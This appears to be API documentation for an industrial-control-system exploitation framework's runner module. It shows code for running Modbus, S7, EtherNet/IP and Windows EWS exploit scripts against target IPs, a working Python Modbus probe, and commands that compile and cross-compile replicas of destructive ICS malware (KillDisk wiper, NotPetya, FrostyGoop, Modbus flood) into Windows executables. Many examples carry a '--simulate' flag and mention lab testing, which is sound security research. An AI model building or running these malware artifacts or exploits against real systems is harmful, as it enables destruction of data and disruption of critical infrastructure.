runner = PolyExploitRunner() available = runner.get_available_runtimes() print(available) # { # 'gcc': True, 'g++': True, 'go': True, 'node': False, # 'java': False, 'ruby': False, 'pwsh': False, 'perl': True, # 'mingw-gcc': True, 'cl.exe': False # }
Runs an external runtime command, falling back to a Python function if the runtime is unavailable.
def my_python_fallback(target: str) -> None: """Python implementation of the same logic.""" import socket s = socket.socket() s.connect((target, 502)) s.send(b'\x00\x01\x00\x00\x00\x06\x01\x04\x00\x00\x00\x01') data = s.recv(16) s.close() print("Response:", data.hex()) returncode, stdout, stderr = runner.run_with_fallback( runtime="ruby", external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"], python_fallback=my_python_fallback, args=("192.168.1.1",), kwargs={}, timeout=30, ) print("Exit:", returncode) print("Stdout:", stdout)
Compiles a C source file with gcc and runs the resulting binary.
returncode, stdout, stderr = runner.compile_and_run_c( source_file="industrialxpl/modules/cve/malware/_native/src/modbus_flood.c", compile_flags=["-O2", "-Wall", "-pthread"], args=["--target", "192.168.1.1", "--simulate"], timeout=30, ) print("Exit:", returncode) print("Output:", stdout)
Compiles a C++ source file with g++ and runs the resulting binary.
returncode, stdout, stderr = runner.compile_and_run_cpp( source_file="industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp", compile_flags=["-O2", "-std=c++17", "-Wall"], args=["--target", "192.168.1.5", "--simulate"], timeout=30, )
Cross-compiles a C source for Windows using MinGW and runs it via Wine (Linux) or directly (Windows).
returncode, stdout, stderr = runner.compile_and_run_c_windows( source_file="industrialxpl/modules/cve/malware/_native/src/killdisk.c", compile_flags=["-O2", "-Wall"], args=["--simulate"], timeout=30, ) # On Linux: requires mingw-w64 for compilation, wine for execution # On Windows: uses cl.exe or mingw directly
Builds and runs a Go source file or package directory.
returncode, stdout, stderr = runner.run_go( source_file="industrialxpl/modules/cve/malware/_native/src/frostygoop/", args=["--target", "192.168.1.100", "--simulate"], go_env={"GOOS": "linux", "GOARCH": "amd64"}, timeout=60, )
Runs a Ruby script with optional Python fallback.
returncode, stdout, stderr = runner.run_ruby( script_file="exploits/protocols/modbus/modbus_scan.rb", args=["--target", "192.168.1.1"], python_fallback=my_python_modbus_scan, python_args=("192.168.1.1",), timeout=30, )
Runs a PowerShell script (cross-platform via pwsh).
returncode, stdout, stderr = runner.run_powershell( script_file="exploits/windows/ews_exploit.ps1", args=["-Target", "192.168.1.1", "-Simulate"], python_fallback=my_python_ews_exploit, timeout=60, )
Runs a Node.js script.
returncode, stdout, stderr = runner.run_node( script_file="exploits/protocols/enip/enip_list_identity.js", args=["--target", "192.168.1.1", "--simulate"], python_fallback=my_python_enip_scan, timeout=30, )
Prints the full environment report (same as python tools/env_doctor.py).
runner.env_report() # Prints full Tier 0-3 status to stdout
Compiles a named malware builder target and returns the binary path.
binary_path = runner.build_malware_artifact( target="frostygoop", # killdisk / notpetya / frostygoop / modbus_flood / s7_watchdog cross_windows=False, # Set True to cross-compile for Windows ) # Returns: ".tmp/malware_builds/frostygoop" (or None on build failure) print("Built:", binary_path)
All run_* methods return a 3-tuple: (returncode: int, stdout: str, stderr: str).
| Field | Type | Description |
|---|---|---|
returncode |
int |
Process exit code. 0 = success, -1 = runtime not found or timeout, >0 = runtime error |
stdout |
str |
Captured standard output from the process |
stderr |
str |
Captured standard error output from the process |
Return code meanings:
| Code | Meaning |
|---|---|
0 |
Successful execution |
-1 |
Runtime not found (e.g., gcc not installed), or Python fallback was used |
-2 |
Execution timed out (exceeded timeout parameter) |
1 |
Runtime error (compilation error, script exception) |
>1 |
Runtime-specific exit codes (see individual tool docs) |
Example usage:
returncode, stdout, stderr = runner.compile_and_run_c( source_file="src/modbus_flood.c", args=["--simulate"], ) if returncode == 0: print("Success:", stdout) elif returncode == -1: print("gcc not available — Python fallback was used") elif returncode == -2: print("Execution timed out") else: print(f"Error (code {returncode}):", stderr)
When an external runtime is not available, PolyExploitRunner automatically uses the registered Python fallback. This is transparent to the caller — the return value format is the same.
How fallback is selected:
run_with_fallback() called
│
▼
Check runtime availability (get_available_runtimes())
│
available?
┌─ YES ─────────────────────────────────────────────┐
│ Execute external runtime command via subprocess │
│ Capture stdout, stderr, returncode │
│ Return (returncode, stdout, stderr) │
└───────────────────────────────────────────────────┘
┌─ NO ──────────────────────────────────────────────┐
│ Call python_fallback(*args, **kwargs) │
│ Capture stdout via io.StringIO redirect │
│ Return (-1, captured_output, "fallback used") │
└───────────────────────────────────────────────────┘
Full fallback example:
import io import contextlib from industrialxpl.core.poly.poly_runner import PolyExploitRunner runner = PolyExploitRunner() def python_modbus_scan(target: str, port: int = 502) -> None: """Pure Python Modbus scanner (Tier 0 — no dependencies).""" import socket, struct probe = struct.pack(">HHHBBHH", 1, 0, 6, 1, 0x04, 0, 1) try: s = socket.socket() s.settimeout(5) s.connect((target, port)) s.send(probe) resp = s.recv(16) s.close() if resp[0:2] == b'\x00\x01': print(f"[+] Modbus device at {target}:{port}") else: print(f"[-] No Modbus at {target}:{port}") except Exception as e: print(f"[!] Error: {e}") # If ruby is not installed, python_modbus_scan() is called transparently returncode, stdout, stderr = runner.run_with_fallback( runtime="ruby", external_cmd=["ruby", "exploits/modbus_scan.rb", "--target", "192.168.1.1"], python_fallback=python_modbus_scan, args=("192.168.1.1", 502), ) if returncode == -1: print("Used Python fallback (ruby not available)") else: print("Used ruby runtime") print("Output:", stdout)
IXF supports cross-compiling Windows PE executables from Linux using MinGW-w64. This is useful when testing Windows-targeted malware TTPs (KillDisk, NotPetya) from a Linux-based lab.
# Install MinGW-w64 cross-compiler apt install mingw-w64 wine # Verify x86_64-w64-mingw32-gcc --version wine --version
# Cross-compile killdisk for Windows python industrialxpl/modules/cve/malware/_native/malware_builder.py \ --target killdisk \ --cross-windows # Output: # [BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c # [OK] .tmp/malware_builds/killdisk.exe (42 KB) — windows/amd64
# Test simulate output via Wine on Linux
wine .tmp/malware_builds/killdisk.exe --simulateOutput:
[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[Windows PE — wine execution]
[SIMULATION — no disk writes]
...
(same output as Linux version)
python industrialxpl/modules/cve/malware/_native/malware_builder.py \ --all --cross-windows
Output:
[IXF Malware Builder] Building all targets for Windows (MinGW cross-compile)
════════════════════════════════════════════════════════════
[1/5] killdisk.exe (C — x86_64-w64-mingw32-gcc)
[BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -o .tmp/malware_builds/killdisk.exe src/killdisk.c
[OK] .tmp/malware_builds/killdisk.exe (42 KB)
[2/5] notpetya.exe (CPP — x86_64-w64-mingw32-g++)
[BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya.exe src/notpetya.cpp
[OK] .tmp/malware_builds/notpetya.exe (61 KB)
[3/5] frostygoop.exe (GO — GOOS=windows GOARCH=amd64)
[BUILD] GOOS=windows GOARCH=amd64 go build -o .tmp/malware_builds/frostygoop.exe ./src/frostygoop/...
[OK] .tmp/malware_builds/frostygoop.exe (2.3 MB)
[4/5] modbus_flood.exe (C — x86_64-w64-mingw32-gcc)
[BUILD] x86_64-w64-mingw32-gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood.exe src/modbus_flood.c
[OK] .tmp/malware_builds/modbus_flood.exe (26 KB)
[5/5] s7_watchdog.exe (CPP — x86_64-w64-mingw32-g++)
[BUILD] x86_64-w64-mingw32-g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog.exe src/s7_watchdog.cpp
[OK] .tmp/malware_builds/s7_watchdog.exe (53 KB)
════════════════════════════════════════════════════════════
[Summary] 5/5 Windows targets built successfully
Output: .tmp/malware_builds/*.exe
Test: wine .tmp/malware_builds/killdisk.exe --simulate
════════════════════════════════════════════════════════════
from industrialxpl.core.poly.poly_runner import PolyExploitRunner runner = PolyExploitRunner() # Check MinGW availability runtimes = runner.get_available_runtimes() if runtimes.get("mingw-gcc"): binary_path = runner.build_malware_artifact( target="killdisk", cross_windows=True, # Produces .exe ) print("Windows binary:", binary_path) # .tmp/malware_builds/killdisk.exe # Run via Wine for simulate test returncode, stdout, stderr = runner.run_with_fallback( runtime="wine", external_cmd=["wine", binary_path, "--simulate"], python_fallback=None, # No Python fallback for Wine execution ) print("Simulate output:", stdout) else: print("MinGW not available — install: apt install mingw-w64")
Previous: CLI Non-Interactive | Next: Assessment & Compliance